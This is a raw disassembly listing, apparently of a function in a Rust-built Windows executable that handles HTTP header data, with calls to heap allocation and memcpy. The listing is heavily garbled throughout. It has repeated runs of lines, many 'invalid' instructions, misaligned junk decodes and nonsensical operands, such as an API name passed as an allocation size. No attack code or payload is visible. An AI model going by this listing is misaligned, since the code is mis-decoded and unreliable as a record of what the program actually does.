movdqu xmmword [rbx + 0x2b2], xmm0
lea rdi, [rbx + 0x2d0]
mov qword [rbx + 0x2d0], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add dh, al
sbb eax, 2
add byte [rax], al
add al, byte [rdi + rcx - 0x4a]
invalid
loopne case.0x14013652c.6
add byte [rax], al
mov dh, 0xa3
loopne case.0x14013652c.6
add byte [rax], al
xor edx, edx
lea rax, [0x1401efa08]
movsxd rcx, dword [rax + r12*4]
add rcx, rax
jmp rcx
mov dl, 1
jmp 0x140135462
add qword [rax], rax
invalid
add qword [rax], rax
add dh, al
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
invalid
invalid
invalid
invalid
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
mov rdx, r9
call fcn.140186a70
jmp 0x140133cfd
or byte [rax], al
movdqa xmmword [rbx + 0x210], xmm6
jg 0x1401352fb
adc byte [rdx], al
add byte [rax], al
jg 0x1401352fb
adc byte [rdx], al
add byte [rax], al
movdqu xmm7, xmmword [0x1401be578]
movdqa xmmword [rbx + 0x200], xmm7
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x140135ee2
lea rcx, [rbx + 0x180]
lea rdx, [rbx + 0x200]
lea edx, [rbx + 0x200]
mov eax, dword [rax + 0x48000001]
add dword [rax], eax
add byte [rax - 0x73], cl
xchg ebx, eax
add byte [rdx], al
lea edx, [rbx + 0x200]
add byte [rax], al
mov qword [rbx + 0xb0], rax
call fcn.1400226e0
out dx, al
dec dword [rax - 0x75]
xchg ebx, eax
mov al, 0
add byte [rax], al
xor dword [rax - 0x18000000], 0x5a
add al, ch
pop rdx
shr esi, cl
out dx, al
dec dword [rax - 0x75]
xchg ebx, eax
mov al, 0
add byte [rax], al
mov r15d, eax
movzx edi, word [rbx + 0x1d8]
mov ebx, 0x1d8
mov r14d, r15d
and r14d, edi
dec byte [rbx + rcx*4 - 0x55]
cwde
add dword [rax], eax
invalid
dec byte [rbx + rcx*4 - 0x55]
cwde
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov rsi, qword [rbx + 0x1a0]
mov rax, qword [rbx + 0x1a8]
mov eax, dword [rbx + 0x1a8]
mov bl, 0xa0
add dword [rax], eax
add byte [rax - 0x75], cl
mov eax, dword [rbx + 0x1a8]
mov qword [rbx + 0x68], rax
invalid
invalid
invalid
invalid
mov eax, dword [rbx + 0x1a8]
add byte [rax], al
mov qword [rbx + 0x68], rax
mov rax, qword [rbx + 0x200]
mov qword [rbx + 0x78], rax
mov r10, qword [rbx + 0x208]
push 0x838b48
add al, byte [rax]
add byte [rax - 0x77], cl
js 0x14013540e
mov edx, dword [rbx + 0x208]
movzx eax, byte [rbx + 0x208]
mov byte [rbx + 0x90], al
adc dword [rax + 0x4c000000], 0xffffff8b
adc dword [rax], 2
adc byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax + 0x9083], cl
invalid
nop
add byte [rax], al
adc dword [rax + 0x4c000000], 0xffffff8b
adc dword [rax], 2
adc byte [rdx], al
add byte [rbx + rcx*4 - 0x7d], cl
adc byte [rdx], al
add byte [rax], al
xor r12d, r12d
mov qword [rbx + 0x100], r10
xchg ebx, eax
add byte [rcx], al
add byte [rax], al
in al, 0x4c
mov dword [rbx + 0x100], edx
xchg ebx, eax
add byte [rcx], al
add byte [rax], al
xchg ebx, eax
add byte [rcx], al
add byte [rax], al
mov qword [rbx + 0xd8], r8
jmp 0x140135d86
add byte [rax], al
invalid
mov dl, 4
jmp 0x140135462
movzx eax, byte [rbx + 0xe1]
add byte [rax + 0x10083], cl
mov byte [rbx + 0x100], al
movzx eax, byte [rbx + 0xe2]
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x83
loop 0x140135408
add byte [rax], al
mov byte [rbx + 0xd8], al
fadd dword [rax]
add byte [rax], al
mov eax, dword [rbx + 0xe3]
mov dword [rbx + 0x6b0], eax
mov al, 6
add byte [rax], al
add byte [rcx + 0x6b083], cl
add byte [rdi], cl
mov dh, 0x83
out 0, eax
add byte [rax], al
movzx eax, byte [rbx + 0xe7]
mov byte [rbx + 0x6b4], al
mov rax, qword [rbx + 0xe8]
call 0x188135431
mov qword [rbx + 0xa8], rax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x83
lock add byte [rax], al
add byte [rax], al
mov dh, 0x83
lock add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rbx + 0x90], rax
mov dl, 9
adc dword [rax - 0x4e000000], 9
add byte [rdx - 0x1bcebaf7], dh
xor r12d, r12d
xor esp, esp
jmp case.0x140135311.0
mov dl, 2
jmp 0x140135462
mov dl, 3
jmp 0x140135462
add ebp, ebx
invalid
mov dl, 7
jmp 0x140135462
mov dl, 5
jmp 0x140135462
mov dl, 6
jmp 0x140135462
mov dl, 8
xor r12d, r12d
mov dword [rbx + 0xb0], edx
movzx eax, byte [rbx + 0x6b4]
mov byte [rbx + 0x114], al
mov eax, dword [rbx + 0x6b0]
mov dword [rbx + 0x110], eax
movzx r15d, byte [rbx + 0x208]
movzx eax, byte [rbx + 0x209]
mov byte [rbx + 0x68], al
mov r14, qword [rbx + 0x2c0]
cmp r12d, 3
sete byte [rbx + 0x78]
mov r13, qword [rbx + 0x2c8]
movzx esi, byte [rbx + 0x2b8]
lea rdx, [rbx + 0x20a]
lea rcx, [rbx + 0x6b0]
mov r8d, 0xae
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rdi]
movaps xmmword [rbx + 0x990], xmm0
cmp sil, 0xa
jb 0x1401354f3
lea rcx, [rbx + 0x990]
lea rdx, [rbx + 0x10f0]
mov r8d, 0xae
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rbx + 0x11c]
mov byte [rbx + 0x10c], al
mov eax, dword [rbx + 0x118]
mov dword [rbx + 0x108], eax
sbb dword [rcx + rax], 0
add byte [rax + 0x10c83], cl
add byte [rbx + 0x11883], cl
add byte [rcx + 0x10883], cl
add byte [rdi], cl
movaps xmm0, xmmword [rbx + 0x650]
movaps xmm0, xmmword [rbx + 0x650]
movaps xmmword [rbx + 0x970], xmm0
mov rax, qword [rbx + 0x570]
add byte [rax], al
mov qword [rbx + 0x1140], rax
movaps xmm0, xmmword [rbx + 0x560]
movaps xmmword [rbx + 0x1130], xmm0
sub dword [rbx + 0x1130], eax
sub dword [rbx + 0x1130], eax
adc dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
and dword [rax], 5
add byte [rax], al
movdqa xmm0, xmmword [rbx + 0x520]
movdqa xmm1, xmmword [rbx + 0x530]
movdqa xmm2, xmmword [rbx + 0x540]
movdqa xmm3, xmmword [rbx + 0x550]
add eax, 0xf660000
jg 0x14013555e
and byte [rcx], dl
add byte [rax], al
add eax, 0xf660000
jg 0x14013555e
movq qword [rbx + 0x1120], mm3
and byte [rcx], dl
add byte [rax], al
movdqa xmmword [rbx + 0x1110], xmm2
movdqa xmmword [rbx + 0x1100], xmm1
movdqa xmmword [rbx + 0x10f0], xmm0
cmp byte [rbx + 0x78], 0
jne 0x140136857
mov qword [rbx + 0x200], r12
mov byte [rbx + 0x208], r15b
movzx eax, byte [rbx + 0x68]
mov byte [rbx + 0x209], al
lea r14, [rbx + 0x20a]
lea rdx, [rbx + 0x990]
mov r8d, 0xae
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbx + 0xb0]
mov byte [rbx + 0x2b8], al
mov byte [rbx + 0x2b9], sil
mov byte [rbx + 0x2ba], dil
mov eax, dword [rbx + 0x108]
mov dword [rbx + 0x2bb], eax
movzx eax, byte [rbx + 0x10c]
mov byte [rbx + 0x2bf], al
mov rax, qword [rbx + 0xa8]
mov qword [rbx + 0x2c0], rax
mov rax, qword [rbx + 0x90]
mov qword [rbx + 0x2c8], rax
movaps xmm0, xmmword [rbx + 0x970]
or dword [rax], eax
add byte [rdi], cl
adc dword [rbx + 0x2d0], eax
or dword [rax], eax
add byte [rdi], cl
adc dword [rbx + 0x2d0], eax
movzx ecx, byte [rbx + 0x10f0]
movzx eax, byte [rbx + 0x10f1]
mov byte [rbx + 0x78], al
movzx eax, byte [rbx + 0x10f2]
add byte [rdi], cl
mov dh, 0x83
int1
adc byte [rax], al
add byte [rax - 0x49f087bd], cl
xor edx, 0x10
add byte [rax], al
mov byte [rbx + 0x68], al
movups xmm0, xmmword [rbx + 0x10f3]
movaps xmmword [rbx + 0x650], xmm0
movups xmm0, xmmword [rbx + 0x1103]
movaps xmmword [rbx + 0x660], xmm0
movups xmm0, xmmword [rbx + 0x1113]
movaps xmmword [rbx + 0x670], xmm0
movups xmm0, xmmword [rbx + 0x1123]
movaps xmmword [rbx + 0x680], xmm0
sub dword [rbx + 0x680], eax
invalid
sub dword [rbx + 0x680], eax
movdqu xmm0, xmmword [rbx + 0x1133]
movdqa xmmword [rbx + 0x690], xmm0
mov rax, qword [rbx + 0x1140]
mov qword [rbx + 0x69d], rax
mov byte [rbx + 0xb0], cl
cmp cl, 3
je 0x140136871
lea rcx, [rbx + 0x260]
call fcn.14006d7b0
movzx eax, byte [rbx + 0xb0]
add byte [rax + 0x26083], cl
add byte [rdi], cl
mov dh, 0x43
js 0x1401356a0
and dword [rcx + 2], 0
add byte [rdi], cl
mov dh, 0x43
push 0x2628388
add al, byte [rax]
invalid
add byte [rax + 0x26083], cl
add byte [rdi], cl
mov dh, 0x43
js 0x1401356a0
and dword [rcx + 2], 0
add byte [rdi], cl
mov dh, 0x43
push 0x2628388
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
sub byte [rbx + 0x650], al
movaps xmm0, xmmword [rbx + 0x650]
movdqa xmm1, xmmword [rbx + 0x660]
outsd dx, dword [rsi]
mov esp, dword [rax + 6]
add byte [rax], al
movdqa xmm2, xmmword [rbx + 0x670]
movdqa xmm3, xmmword [rbx + 0x680]
movups xmmword [rbx + 0x263], xmm0
movdqu xmmword [rbx + 0x273], xmm1
movdqu xmmword [rbx + 0x283], xmm2
movdqu xmmword [rbx + 0x293], xmm3
movdqa xmm0, xmmword [rbx + 0x690]
movdqu xmmword [rbx + 0x2a3], xmm0
mov rax, qword [rbx + 0x69d]
mov qword [rbx + 0x2b0], rax
mov r15, qword [rbx + 0x200]
movzx r13d, byte [rbx + 0x208]
movzx r12d, byte [rbx + 0x209]
lea rsi, [rbx + 0x6b0]
mov r8d, 0xd6
mov rcx, rsi
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + 0xc40]
mov r8d, 0xd6
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp r15, 3
je 0x1401368a0
lea rsi, [rbx + 0x200]
lea rdx, [rbx + 0xc40]
mov r8d, 0xce
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbx + 0xd0f]
mov ecx, dword [rbx + 0xd12]
mov dword [rbx + 0x6b0], eax
mov dword [rbx + 0x6b3], ecx
lea rdi, [rbx + 0x990]
mov r8d, 0xce
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbx + 0x6b0]
mov ecx, dword [rbx + 0x6b3]
mov dword [rbx + 0x10f0], eax
mov dword [rbx + 0x10f3], ecx
movups xmm0, xmmword [rbx + 0x160]
movups xmm1, xmmword [rbx + 0x170]
movaps xmmword [rbx + 0x210], xmm1
movaps xmmword [rbx + 0x200], xmm0
lea rcx, [rbx + 0x6ba]
mov r8d, 0xce
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbx + 0x10f0]
mov ecx, dword [rbx + 0x10f3]
mov dword [rbx + 0x789], eax
mov dword [rbx + 0x78c], ecx
movdqu xmm0, xmmword [rbx + 0x160]
movdqu xmm1, xmmword [rbx + 0x170]
add byte [rax], al
add byte [rax], al
movdqu xmmword [rbx + 0x790], xmm0
movdqu xmmword [rbx + 0x7a0], xmm1
movzx eax, byte [rbx + 0x9f]
mov byte [rbx + 0x788], al
mov qword [rbx + 0x6b0], r15
mov al, 6
add byte [rax], al
mov byte [rbx + 0x6b8], r13b
mov byte [rbx + 0x6b9], r12b
mov byte [rbx + 0xa5], 1
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rcx], al
lea rcx, [rbx + 0x200]
lea rdx, [rbx + 0x180]
call fcn.140078f20
mov r14d, dword [rbx + 0x58c]
mov r12, qword [rbx + 0x120]
lea rcx, [rbx + 0x6b0]
lea ecx, [rbx + 0x6b0]
call fcn.14001df80
movups xmm0, xmmword [rbx + 0x250]
movaps xmmword [rbx + 0x700], xmm0
movups xmm0, xmmword [rbx + 0x240]
movaps xmmword [rbx + 0x6f0], xmm0
xor eax, 6
add byte [rax], al
movdqu xmm0, xmmword [rbx + 0x200]
movdqu xmm1, xmmword [rbx + 0x210]
movdqu xmm2, xmmword [rbx + 0x220]
movdqu xmm3, xmmword [rbx + 0x230]
movdqa xmmword [rbx + 0x6e0], xmm3
movdqa xmmword [rbx + 0x6d0], xmm2
movdqa xmmword [rbx + 0x6c0], xmm1
movdqa xmmword [rbx + 0x6b0], xmm0
lea rsi, [r12 + 0x10]
lea rdi, [rbx + 0x200]
lea rdx, [rbx + 0x6b0]
mov r8d, 0x100
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0xa5], 0
mov rcx, rsi
mov rdx, rdi
call fcn.140079550
mov qword [rbx + 0xb0], rax
mov qword [rbx + 0x78], rdx
cmp r14d, 0x3b9aca00
mov rdx, qword [rbx + 0x988]
jne case.0x1401132c0.425
mov r14d, dword [r12 + 0x1a8]
mov rdx, qword [r12 + 0x1a0]
add byte [rcx], dh
test byte [rcx - 0x7f], 0xfe
add dl, cl
invalid
cmp ecx, dword [rdi]
invalid
pushfq
add dword [rax], eax
invalid
lea r9, [0x1401baca8]
lea rcx, [rbx + 0x200]
mov r8d, r14d
call fcn.140178860
mov rdi, qword [rbx + 0x200]
mov edi, dword [rbx + 0x200]
movups xmm0, xmmword [rbx + 0x208]
movaps xmmword [rbx + 0x6b0], xmm0
mov al, 6
add byte [rax], al
mov al, 6
add byte [rax], al
movups xmm0, xmmword [rbx + 0x218]
movaps xmmword [rbx + 0x6c0], xmm0
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rbx + 0x228]
movaps xmmword [rbx + 0x6d0], xmm0
movups xmm0, xmmword [rbx + 0x238]
movaps xmmword [rbx + 0x6e0], xmm0
movups xmm0, xmmword [rbx + 0x248]
movaps xmmword [rbx + 0x6f0], xmm0
add al, byte [rax]
add byte [rdi], cl
sub dword [rbx + 0x6f0], eax
movdqu xmm0, xmmword [rbx + 0x258]
movdqa xmmword [rbx + 0x700], xmm0
add byte [rdi], al
add byte [rax], al
add byte [rdi], al
add byte [rax], al
mov rax, qword [rbx + 0x268]
mov qword [rbx + 0x710], rax
sub dword [rax + 2], 0
add byte [rax - 0x77], cl
adc dword [rax], 7
add byte [rax], al
xor esi, esi
cmp rdi, 2
je 0x140135b59
sgdt [rax]
invalid
sgdt [rax]
add byte [rax - 0x77], cl
mov ebx, 0x200
add byte [rax], al
mov qword [rbx + 0x200], rdi
movaps xmm0, xmmword [rbx + 0x6b0]
add byte [rax], al
movdqa xmm1, xmmword [rbx + 0x6c0]
movdqa xmm2, xmmword [rbx + 0x6d0]
movdqa xmm3, xmmword [rbx + 0x6e0]
outsd dx, dword [rsi]
wait
loopne 0x140135a74
invalid
add byte [rax], al
outsd dx, dword [rsi]
wait
loopne 0x140135a74
invalid
invalid
add byte [rax], al
movups xmmword [rbx + 0x208], xmm0
adc dword [rbx + 0x208], eax
add al, byte [rax]
add bl, dh
movq qword [rbx + 0x218], mm1
movdqu xmmword [rbx + 0x218], xmm1
movdqu xmmword [rbx + 0x228], xmm2
jg 0x140135a16
sub byte [rdx], al
add byte [rax], al
movdqu xmmword [rbx + 0x238], xmm3
movq qword [rbx + 0x238], mm3
movaps xmm0, xmmword [rbx + 0x6f0]
xor eax, 6
add byte [rax], al
movups xmmword [rbx + 0x248], xmm0
movdqa xmm0, xmmword [rbx + 0x700]
or dword [rax + 2], 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
add dword [rax], 7
add byte [rax], al
movdqu xmmword [rbx + 0x258], xmm0
mov rax, qword [rbx + 0x710]
invalid
sbb dword [rax + 2], 0
add byte [rax - 0x75], cl
adc dword [rax], 7
add byte [rax], al
invalid
add byte [rax - 0x77], cl
sub dword [rax + 2], 0
add byte [rdi], cl
mov qword [rbx + 0x268], rax
movzx eax, byte [0x14023c308]
mov dh, 5
push 0xffffffff8b480010
or eax, 0x10678f
mov dh, 5
push 0xffffffff8b480010
or eax, 0x10678f
test rcx, rcx
jne 0x140135ae7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140136985
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x59543
test rax, rax
je 0x140136985
mov rsi, rax
mov qword [rax], rdi
movaps xmm0, xmmword [rbx + 0x6b0]
movdqa xmm1, xmmword [rbx + 0x6c0]
rol byte [rsi], 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xchg ebx, eax
rol byte [rsi], 1
add byte [rax], al
rol byte [rsi], 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xchg ebx, eax
rol byte [rsi], 1
add byte [rax], al
movdqa xmm3, xmmword [rbx + 0x6e0]
movups xmmword [rax + 8], xmm0
or bl, sil
movq qword [rax + 0x18], mm1
or bl, sil
movq qword [rax + 0x18], mm1
movdqu xmmword [rax + 0x28], xmm2
movdqu xmmword [rax + 0x38], xmm3
cmp byte [rdi], cl
sub byte [rbx + 0x6f0], al
cmp byte [rdi], cl
sub byte [rbx + 0x6f0], al
movups xmmword [rax + 0x48], xmm0
movdqa xmm0, xmmword [rbx + 0x700]
add dword [rax], 7
add byte [rax], al
movdqu xmmword [rax + 0x58], xmm0
pop rax
mov rax, qword [rbx + 0x710]
mov qword [rsi + 0x68], rax
add byte [rax - 0x77], cl
push 0x4ff49f0
add al, 0x24
jle 0x140133cf9
mov rax, qword [rbx + 0xf0]
lock inc qword [r12]
add al, 0x24
jle 0x140133cf9
mov rax, qword [rbx + 0xf0]
mov qword [rbx + 0x2e0], rax
movaps xmm0, xmmword [rbx + 0xe0]
movaps xmmword [rbx + 0x2d0], xmm0
movaps xmm0, xmmword [rbx + 0x5c0]
movaps xmm1, xmmword [rbx + 0x5d0]
movaps xmm2, xmmword [rbx + 0x5e0]
movaps xmm3, xmmword [rbx + 0x5f0]
movups xmmword [rbx + 0x278], xmm0
movups xmmword [rbx + 0x288], xmm1
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x298], xmm2
movups xmmword [rbx + 0x2a8], xmm3
movaps xmm0, xmmword [rbx + 0x600]
movups xmmword [rbx + 0x2b8], xmm0
add al, byte [rax]
add byte [rax - 0x75], cl
adc dword [rax], 6
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
adc dword [rax], 6
add byte [rax], al
mov qword [rbx + 0x2c8], rax
add byte [rdi], cl
sub byte [rbx + 0x180], al
add byte [rax], al
movaps xmm0, xmmword [rbx + 0x180]
add byte [rax], al
movdqa xmm1, xmmword [rbx + 0x190]
movdqa xmm2, xmmword [rbx + 0x1a0]
movdqa xmm3, xmmword [rbx + 0x1b0]
movups xmmword [rbx + 0x218], xmm0
movdqu xmmword [rbx + 0x228], xmm1
add byte [rax], al
add byte [rax], al
movdqu xmmword [rbx + 0x238], xmm2
add byte [rax], al
movdqu xmmword [rbx + 0x248], xmm3
movaps xmm0, xmmword [rbx + 0x1c0]
add byte [rdi], cl
adc dword [rbx + 0x258], eax
add byte [rdi], cl
adc dword [rbx + 0x258], eax
movaps xmm0, xmmword [rbx + 0x1d0]
movups xmmword [rbx + 0x268], xmm0
mov r14, qword [rbx + 0x620]
mov rdi, qword [rbx + 0x628]
add byte [rax - 0x75], cl
mov ebx, 0x628
lea rcx, [rbx + 0x630]
mov rax, qword [rcx + 0x10]
mov qword [rbx + 0x210], rax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rbx + 0x200], xmm0
lea rcx, [rbx + 0x1000]
mov eax, dword [rax]
adc byte [rax], al
add byte [rax - 0x73], cl
xchg ebx, eax
add byte [rdx], al
add byte [rax], al
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
or byte [0x12f22c276], al
invalid
or byte [0x12f22c276], al
shl byte [rsi + 0xf], 0x7f
movdqa xmmword [rbx + 0x960], xmm0
invalid
xor al, 0xe5
invalid
movdqa xmmword [rbx + 0x960], xmm0
jmp 0x1401341b8
mov r14, qword [rbx + 0xe8]
mov rsi, qword [rbx + 0xf0]
mov bl, 0xf0
add byte [rax], al
invalid
call 0x188135c8c
mov esi, dword [rbx + 0xf0]
mov bl, 0xf0
add byte [rax], al
invalid
mov bl, 0xf0
add byte [rax], al
add byte [rcx + 1], bh
mov ecx, 1
test rsi, rsi
je 0x140135ce5
js 0x1401369ab
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140135cce
invalid
sbb edi, edi
adc eax, 0x59385
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
test eax, eax
je 0x140136999
mov rcx, rax
mov qword [0x14023c258], rax
adc byte [rax], al
adc byte [rax], al
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
test rax, rax
je 0x140136999
mov qword [rbx + 0xa8], rcx
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r12, qword [rbx + 0x200]
movzx eax, byte [rbx + 0x6b4]
mov byte [rbx + 0x114], al
mov eax, dword [rbx + 0x6b0]
mov dword [rbx + 0x110], eax
movzx r15d, byte [rbx + 0x208]
movzx eax, byte [rbx + 0x209]
mov byte [rbx + 0x68], al
mov r14, qword [rbx + 0x2c0]
mov bl, 0xc0
add al, byte [rax]
add byte [rcx - 0x7d], cl
cld
add ecx, dword [rdi]
xchg esp, eax
js 0x140135d81
mov dword [rbx + 0x90], esi
mov bl, 0xc0
add al, byte [rax]
add byte [rcx - 0x7d], cl
cld
add ecx, dword [rdi]
xchg esp, eax
js 0x140135d81
mov dword [rbx + 0x90], esi
mov al, 0xa
jne case.0x140122b00.119
mov dword [rbx + 0xb0], eax
test rsi, rsi
je case.0x14013e2e6.202
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbx + 0xa8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x1400d1872.799
movzx ecx, byte [rbx + 0x90]
cmp byte [rax + 8], cl
je 0x140135ed6
nop
add byte [rax], al
add byte [rax], bh
or byte [rdi], cl
test byte [rcx + 1], bl
add byte [rax], al
nop dword [rax]
inc r12
inc esp
inc r14
mov rax, r14
nop dword [rax]
mov r14, rax
mov eax, 0
cmp r14, rsi
jae 0x140135d90
movzx ecx, word [r13 + r14*4]
cmp rcx, 0xffff
je 0x140135eae
jnp case.0x14011d1d3.130
add byte [rcx + 0xf], al
xchg esp, eax
ror dword [rax + 0x6b], 0xc1
push 0x684b8b48
mov rcx, qword [rcx + rax + 0x40]
test rcx, rcx
leave
leave
setne r11b
cmp r11b, r9b
je 0x140135d80
mov r9, qword [rbx + 0x68]
add rax, r9
enter 0xffffffffffff8348, 0xffffffffffffffc0
test rcx, rcx
enter 0xffffffffffff8348, 0xffffffffffffffc0
test rcx, rcx
je 0x140135d6d
cmp qword [rax + 0x10], r8
jne 0x140135d80
invalid
invalid
dec dword [rax - 0x75]
or byte [rcx + rcx*4 - 0x2e], cl
mov rcx, qword [rax + 8]
mov rdx, r10
call sub.VCRUNTIME140.dll_memcmp
mov r8, qword [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x6d], cl
add byte [rcx], al
add byte [rax], al
mov r10, qword [rbx + 0x100]
mov rdx, qword [rbx + 0xb0]
test eax, eax
jne 0x140135d80
mov sil, 1
jmp case.0x140122b00.120
test ch, bl
add byte [rax], al
add byte [rcx - 0x75], cl
mov rax, qword [r13 + 0x1c0]
cmp rax, 1
ja 0x140135f36
mov rax, qword [rbx + 0x68]
mov byte [rax], 1
add dword [rax - 0x75], ecx
add eax, 0
add byte [rax], al
mov rax, qword [r13 + 0x1c0]
cmp rax, 1
ja 0x140135f36
mov rax, qword [rbx + 0x68]
mov byte [rax], 1
add dword [rax - 0x75], ecx
add eax, 0
add byte [rax], al
add dword [rax - 0x75], ecx
add eax, 0
add byte [rax], al
lea rcx, [rax + 0x1b0]
call fcn.140129f40
mov esp, 0x48ffff40
mov ecx, dword [rbx + 0xc0]
add byte [rax], al
mov byte [rax - 0x17ffffff], dh
mov esp, 0x48ffff40
mov ecx, dword [rbx + 0xc0]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + 0x1a8]
test al, 1
add byte [rax], al
lock dec qword [rax]
dec qword [rax]
mov sil, 1
jne 0x140135ea7
mov rcx, qword [rcx + 0x1a8]
call fcn.140129740
invalid
invalid
xor eax, eax
jmp 0x140135fd8
mov rax, qword [rbx + 0x78]
test rax, rax
test eax, eax
test eax, eax
je 0x140135ed1
mov rax, qword [rax + 0x10]
lea rcx, [rbx + 0x218]
mov byte [rbx + 0x52], 1
add esi, eax
push r11
add dword [rcx + rcx*4 - 0x2e], ecx
mov edx, edx
mov edx, edx
call rax
rol byte [rax - 0x7c], 1
div byte [rsp + rcx + 0x48]
test sil, sil
je 0x140135ee2
lea rsi, [0x1401ea218]
lea esi, [0x1401ea218]
xor eax, 0xb433b
jmp case.0x14013652c.2
dec dword [rbx + rcx*4 - 0x55]
mov r13, qword [rbx + 0x120]
stosd dword [rdi], eax
and byte [rcx], al
add byte [rax], al
mov rcx, qword [r13 + 0x1b0]
mov rax, qword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
test rax, rax
lea rsi, [0x1401ea218]
movzx r14d, byte [rbx + 0xa8]
je case.0x14013652c.2
invalid
invalid
invalid
invalid
invalid
mov r15, qword [rcx + 0x10]
mov rcx, rax
shl rcx, 7
lea r12, [rcx + rax*8]
lea esp, [rcx + rax*8]
add r12, r15
lea rdx, [0x1401ef9e0]
pcmpeqd xmm8, xmm8
mov r9d, r14d
mov byte [rbx + 0x78], r14b
mov byte [rbx + 0x78], dh
mov byte [rbx + 0x78], dh
jmp 0x140136051
cmp byte [rbx + 0xa8], 0
je 0x140135fcc
invalid
mov dword [rax], eax
add byte [rax], al
invalid
test byte [rcx - 0x75000000], cl
add eax, 0x1063c3
adc byte [rax], al
add byte [rbx + 0x1063c305], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14023c30c]
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
mov dh, 0x80
add byte [rcx], al
add byte [rax], al
mov dh, 0x80
add byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x140135fa6
test eax, eax
jne 0x140135fcc
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
add byte [rax - 0x73], cl
adc eax, 0x30019
call fcn.14014a0c0
add byte [rbx + 0x10637a05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xfc], 1
mov ecx, dword [rbx + 0x90]
add byte [rax], al
add byte [rax], al
mov byte [rax + 0xfd], cl
mov rax, qword [rbx + 0x68]
mov byte [rax], 3
mov al, 1
mov sil, 3
mov rcx, qword [rbx + 0xc0]
mov byte [rcx + 0x1d0], sil
mov byte [rcx + 0x1d0], dh
rol byte [rax], 0
add byte [rax - 0x78], al
mov byte [rcx + 0x1d0], dh
movaps xmm6, xmmword [rbp + 0x1460]
mov byte [rcx + 0x1d0], dh
rol byte [rcx], 1
add byte [rax], al
movaps xmm6, xmmword [rbp + 0x1460]
movaps xmm7, xmmword [rbp + 0x1470]
jo case.0x140115bd4.330
add byte [rax], al
movaps xmm8, xmmword [rbp + 0x1480]
sub byte [rbp + 0x1480], al
add byte [rdi + rcx + 0x28], al
lea edx, [rax + 0x44000014]
adc al, 0
add byte [rdi + rcx + 0x28], al
sub byte [rbp + 0x14a0], dl
movaps xmm9, xmmword [rbp + 0x1490]
movaps xmm10, xmmword [rbp + 0x14a0]
sub byte [rbp + 0x14a0], dl
adc al, 0
add byte [rdi + rcx + 0x28], al
sub byte [rbp + 0x14a0], dl
lea rsp, [rbp + 0x14b8]
sub byte [rbp + 0x14a0], dl
lea rsp, [rbp + 0x14b8]
mov eax, 0x5b000014
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov dword [rbx + 0xb0], eax
jmp 0x1401354a5
hlt
invalid
invalid
hlt
cmp dword [rax], 0x70747468
mov eax, r14d
invalid
push 0x44707474
mov eax, esi
invalid
